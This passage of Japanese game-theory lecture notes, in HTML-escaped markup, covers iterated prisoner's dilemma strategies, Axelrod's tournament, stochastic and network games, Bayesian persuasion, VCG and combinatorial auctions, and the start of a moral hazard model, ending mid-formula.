&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; トリガー戦略（Grim Trigger）  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   最初は協力を選び，もし相手が一度でも裏切ったら，以降永久に裏切り続ける。  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   メリット：相手に「一度でも裏切ると二度と協力しない」という強い抑止力となる。  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   デメリット：一度だけの裏切りでも回復が難しくなるため，ミスに弱い。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; TFT（Tit for Tat・しっぺ返し戦略）  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   第1回目は協力を行い，2回目以降は相手の前回の行動をコピーする（相手が協力すれば協力，裏切れば裏切る）。  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   メリット：協力的な相手とは協力を継続し，裏切る相手には対抗できる。誤解やミスがあっても比較的早く関係を修復できる。  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   デメリット：相手が常に裏切る場合にはずっと裏切りが続く場合がある。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これらの戦略は，繰り返し囚人のジレンマなどのゲームにおいてどのように行動するかの例である。それぞれ異なる特性を持ち，状況によって有利・不利が変化する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図13: 繰り返し囚人のジレンマ戦略**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[繰り返し囚人のジレンマ戦略&amp;lt;br/&amp;gt;Iterated Prisoner's Dilemma Strategies] --&amp;gt; B[無条件戦略&amp;lt;br/&amp;gt;Unconditional Strategies]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; C[条件付き戦略&amp;lt;br/&amp;gt;Conditional Strategies]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; D[全協力&amp;lt;br/&amp;gt;Always Cooperate&amp;lt;br/&amp;gt;常に協力]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; E[全裏切り&amp;lt;br/&amp;gt;Always Defect&amp;lt;br/&amp;gt;常に裏切り]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; F[TFT&amp;lt;br/&amp;gt;Tit for Tat&amp;lt;br/&amp;gt;しっぺ返し]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; G[トリガー戦略&amp;lt;br/&amp;gt;Grim Trigger&amp;lt;br/&amp;gt;一度裏切りで永久裏切り]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; H[Generous TFT&amp;lt;br/&amp;gt;寛容なしっぺ返し]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; I[Pavlov&amp;lt;br/&amp;gt;Win-Stay Lose-Shift]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; J[メリット&amp;lt;br/&amp;gt;協力者と最高利得]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; K[デメリット&amp;lt;br/&amp;gt;裏切り者に搾取]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; L[メリット&amp;lt;br/&amp;gt;協力者から最大利得]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; M[デメリット&amp;lt;br/&amp;gt;互いに裏切りで低利得]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; N[協力的&amp;lt;br/&amp;gt;報復的&amp;lt;br/&amp;gt;寛容的&amp;lt;br/&amp;gt;明確]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; O[アクセルロッド&amp;lt;br/&amp;gt;トーナメント優勝]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 戦略の詳細分析&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 戦略の分類&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;繰り返し囚人のジレンマにおける戦略は、以下のように分類できる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**無条件戦略**&lt;/span&gt;&lt;span&gt;：相手の行動に依存しない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 全協力（Always Cooperate）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 全裏切り（Always Defect）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**条件付き戦略**&lt;/span&gt;&lt;span&gt;：相手の過去の行動に依存&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TFT（Tit for Tat）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; トリガー戦略（Grim Trigger）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TFT with Forgiveness：一定確率で裏切りを許す&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Pavlov（Win-Stay, Lose-Shift）：前回の利得に基づいて戦略を変更&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### アクセルロッドのトーナメント&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ロバート・アクセルロッド（Robert Axelrod）が1980年代に実施したコンピュータトーナメントでは：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 様々な戦略を対戦させ、総利得を競った&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**TFTが最も高い総利得を獲得**&lt;/span&gt;&lt;span&gt;した&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TFTの特徴：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**協力的（nice）**&lt;/span&gt;&lt;span&gt;：最初に裏切らない&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**報復的（retaliatory）**&lt;/span&gt;&lt;span&gt;：裏切りに対して即座に報復&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**寛容的（forgiving）**&lt;/span&gt;&lt;span&gt;：相手が協力に戻れば即座に協力に戻る&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**明確（clear）**&lt;/span&gt;&lt;span&gt;：戦略が単純で予測可能&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 進化的に安定な戦略としてのTFT&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;進化ゲーム理論の観点から：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 純粋な協力者集団では、裏切り者が侵入して繁栄できる&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 裏切り者集団では、TFTは侵入できない（裏切り者同士の利得と同じ）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**TFT同士の集団は、裏切り者の侵入に対して安定**&lt;/span&gt;&lt;span&gt;である&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ただし、TFTは「誤解」に弱い：ノイズ（誤った行動）がある環境では、TFT同士が誤解の連鎖に陥る可能性がある。この問題を解決するため、&lt;/span&gt;&lt;span&gt;**Generous TFT**&lt;/span&gt;&lt;span&gt;（一定確率で裏切りを許す）や&lt;/span&gt;&lt;span&gt;**Contrite TFT**&lt;/span&gt;&lt;span&gt;（自分の誤解を認識して修正する）などの変種が提案されている。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 多プレイヤーゲームへの拡張&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;現実の多くの状況では、2人だけでなく複数のプレイヤーが関与する：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**公共財ゲーム（Public Goods Game）**&lt;/span&gt;&lt;span&gt;：複数人が公共財への貢献を決定&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**集合行為のジレンマ**&lt;/span&gt;&lt;span&gt;：個人の合理的行動が集団の非効率を生む&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**ネットワーク効果**&lt;/span&gt;&lt;span&gt;：プレイヤー間の関係構造が戦略選択に影響&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これらの拡張により、より現実的な意思決定状況を分析できる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 確率的ゲームとマルコフゲーム&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;確率的ゲーム（Stochastic Game）は、状態遷移が確率的なマルコフ決定過程を多エージェントに拡張したものである。状態 $&lt;/span&gt;&lt;span&gt;s &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{S}$&lt;/span&gt;&lt;span&gt;、各プレイヤー $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; の行動 $&lt;/span&gt;&lt;span&gt;a_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{A}_i$&lt;/span&gt;&lt;span&gt;、遷移確率 $&lt;/span&gt;&lt;span&gt;P(s'|s, a_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots, a_n)$&lt;/span&gt;&lt;span&gt;、利得 $&lt;/span&gt;&lt;span&gt;u_i(s, a_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots, a_n)$&lt;/span&gt;&lt;span&gt; を考える。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;マルコフ完全均衡（Markov Perfect Equilibrium, MPE）は、各状態 $&lt;/span&gt;&lt;span&gt;s$&lt;/span&gt;&lt;span&gt; においてナッシュ均衡となる戦略の組 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma^*_i(s)$&lt;/span&gt;&lt;span&gt; である。ベルマン方程式は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;V_i^*(s) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{a_i} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{ u_i(s, a_i, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_&lt;/span&gt;&lt;span&gt;{-i}^*(s)) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{s'} P(s'|s, a_i, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma_&lt;/span&gt;&lt;span&gt;{-i}^*(s)) V_i^*(s') &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;となり、不動点反復（value iteration）や方策反復（policy iteration）で求解される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ネットワークゲームとグラフ構造&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;プレイヤー間の相互作用がネットワーク構造 $&lt;/span&gt;&lt;span&gt;G = (V, E)$&lt;/span&gt;&lt;span&gt; で記述される場合、各プレイヤー $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; の利得は隣接プレイヤー $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{N}_i = \{j: (i,j) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in E\}$&lt;/span&gt;&lt;span&gt; の行動に依存する：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;u_i(a_i, a_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{N}_i}) = f_i(a_i) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{j &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{N}_i} g_{ij}(a_i, a_j)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;線形影響モデルでは $&lt;/span&gt;&lt;span&gt;g_{ij}(a_i, a_j) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_&lt;/span&gt;&lt;span&gt;{ij} a_i a_j$&lt;/span&gt;&lt;span&gt; とし、最適反応は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;a_i^* = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;arg&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{a_i} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{ f_i(a_i) + a_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{j &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{N}_i} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta_&lt;/span&gt;&lt;span&gt;{ij} a_j^* &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;となる。グラフラプラシアン $&lt;/span&gt;&lt;span&gt;L = D - A$&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt;D$&lt;/span&gt;&lt;span&gt; は次数行列、$&lt;/span&gt;&lt;span&gt;A$&lt;/span&gt;&lt;span&gt; は隣接行列）を用いて、均衡の存在と一意性がグラフのスペクトル特性から導出される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 情報設計とベイジアン説得&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;情報設計（Information Design）では、メディエータが各プレイヤーに異なる信号を送ることで、均衡結果を操作する。信号構造 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi: &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;to &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{S}_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdots &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;times &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{S}_n)$&lt;/span&gt;&lt;span&gt; の下で、ベイジアン・ナッシュ均衡における期待利得を最大化する問題&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;lambda_i &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta, s} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left[ u_i(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma^*(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(s)), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を考える。ここで $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sigma^*$&lt;/span&gt;&lt;span&gt; は信号 $&lt;/span&gt;&lt;span&gt;s$&lt;/span&gt;&lt;span&gt; に依存するベイジアン・ナッシュ均衡である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ベイジアン説得（Bayesian Persuasion）では、送り手が受け手の事前信念を操作し、受け手の意思決定を誘導する。最適信号構造は、受け手の事後信念が閾値 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;bar&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta}$&lt;/span&gt;&lt;span&gt; を超える確率を最大化するように設計される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### オークション理論&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### Vickrey-Clarke-Groves（VCG）メカニズム&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;n$&lt;/span&gt;&lt;span&gt; 人の入札者、$&lt;/span&gt;&lt;span&gt;m$&lt;/span&gt;&lt;span&gt; 個のアイテムの組み合わせオークションにおいて、VCGメカニズムは以下のように定義される：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**配分ルール**&lt;/span&gt;&lt;span&gt;：社会的余剰 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^n v_i(x_i)$&lt;/span&gt;&lt;span&gt; を最大化する配分 $&lt;/span&gt;&lt;span&gt;x^*$&lt;/span&gt;&lt;span&gt; を選択&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**支払いルール**&lt;/span&gt;&lt;span&gt;：プレイヤー $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; の支払いは&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;p_i = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{x_{-i}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{j &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ne i} v_j(x_j) - &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{j &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ne i} v_j(x_{-i}^*)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで $&lt;/span&gt;&lt;span&gt;x_{-i}^*$&lt;/span&gt;&lt;span&gt; はプレイヤー $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; を除いた最適配分である。VCGメカニズムは真実報告が弱優位戦略となり、効率的配分を実現する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 第二価格封印オークション（Vickrey Auction）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;単一アイテムの場合、VCGメカニズムは第二価格封印オークションに簡略化される。最高入札者が落札し、支払額は第二高入札額となる。このメカニズムでは、真実評価額を入札することが弱優位戦略である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### Combinatorial AuctionとWinner Determination Problem&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;組み合わせオークションでは、入札者 $&lt;/span&gt;&lt;span&gt;i$&lt;/span&gt;&lt;span&gt; がバンドル $&lt;/span&gt;&lt;span&gt;S &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;subseteq \{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ldots,m\}$&lt;/span&gt;&lt;span&gt; に対して評価額 $&lt;/span&gt;&lt;span&gt;v_i(S)$&lt;/span&gt;&lt;span&gt; を提示する。Winner Determination Problem（WDP）は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^n &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{S &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;subseteq [m]} v_i(S) x_{i,S} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{s.t.} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{i,S: j &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in S} x_{i,S} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall j, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_S x_{i,S} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall i&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;と定式化される。これは集合被覆問題の一般化であり、NP困難である。分枝限定法や列生成法で求解される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 契約理論とPrincipal-Agent問題&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### Moral Hazardモデル&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;エージェントが観測不可能な努力 $&lt;/span&gt;&lt;span&gt;e &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{E}$&lt;/span&gt;&lt;span&gt; を選択し、観測可能な結果 $&lt;/span&gt;&lt;span&gt;x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sim F(x|e)$&lt;/span&gt;&lt;span&gt; が得られる。プリンシパルは契約 $&lt;/span&gt;&lt;span&gt;w(x)$&lt;/span&gt;&lt;span&gt; を設計し、期待利得&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
